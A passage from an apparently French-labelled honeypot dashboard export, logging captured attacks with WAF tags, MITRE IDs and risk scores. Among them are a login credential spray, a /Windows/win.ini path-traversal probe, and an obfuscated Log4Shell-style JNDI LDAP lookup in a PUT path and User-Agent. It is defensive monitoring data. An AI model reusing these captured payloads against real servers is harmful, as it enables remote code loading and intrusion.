"payload_hash": "36dfb1d470139f0639b85b41d6c577c5",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1606\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1606\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "de27784b53e8f95102803c202a21950aafb8d283",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 19,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:29 UTC
TCP
3128 · HTTP
Traversal LFI
lfi path traversal · via HTTP:3128 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3128
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128
Accept: */*
User-Agent: Mozilla/5.0 (Macin
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "aeee5f363fd009c4189d5b30fa8b39434744cf71",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 231,
"payload_entropy": 5.419292114897799,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3128,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 70,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "f3c96023e04cc31d75737e24cdcc313c62d9d2fa",
"event_fingerprint": "1d57076595bab130078cb1843232faed338529ff",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "759bda198b9e27c7a778f35779faebf1",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 3128,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "02900bbffc11030b50abe12bd360e74708110c55",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"attack_vector": "lfi path traversal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3128,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3128"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 19,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:29 UTC
TCP
3000 · HTTP
Sonde port 3000/TCP
port 3000 tcp · via HTTP:3000 · (sonde / probe) · → /${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x…
Élevée
Moyen · 62
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:… UA ${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-/}${zei:0wc:3ql:-/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${at:s
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
3000
Chemin / cible
/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-/}${zei:0wc:…
Preuve honeypot — Sonde port 3000/TCP
Connexion détectée sur le port 3000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_3000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 62
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-/}${zei:0wc:3ql:-/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${
User-Agent
${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:-:}${e:2:rc:-l}${6:-d}${ja:-a}${3s9:8:mnvu:-p}${s2y:-:}${y:j65:a:-/}${lwu:s:-/}${z8v:1:-U}${6:-A}${va:s7:-l}${w:-0}${sgb1:3w:6h0w:-c}${p…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:
Requête brute (extrait)
PUT /${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-/}${zei:0wc:3ql:-/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${91:5:-g}${n7zx:pcg:-o}${qrny:u:-o}${c:3m:ram4:-g}}",
"http_ua_hash": "2c8b2ea576e7fa88d58417e77644dff886508c6b",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "7c5eebe00cd72b4f4247311466a386e93dbc2de1",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.766726786610684,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 62,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1924b3d1088c428169c0b1ba767a657fcafbc9bd",
"event_fingerprint": "603c461d27d99c22a2aa26a0459a0d40880a26a2",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "f3bb6b1311c478ed509ac024ed880d05",
"payload_hash": "5bcdafcf008906b2948e7f446f97e37c",
"path_pattern_hash": "c5135076733bff686fded18f74f6b83f"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 62
},
"method": "PUT",
"path": "\/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${at:s",
"user_agent": "${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:-:}${e:2:rc:-l}${6:-d}${ja:-a}${3s9:8:mnvu:-p}${s2y:-:}${y:j65:a:-\/}${lwu:s:-\/}${z8v:1:-U}${6:-A}${va:s7:-l}${w:-0}${sgb1:3w:6h0w:-c}${plz:--}${${ig:gvl:mf:-s}${6k:q3:zv:-y}${5:e:-s}${w0:2tn:-\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
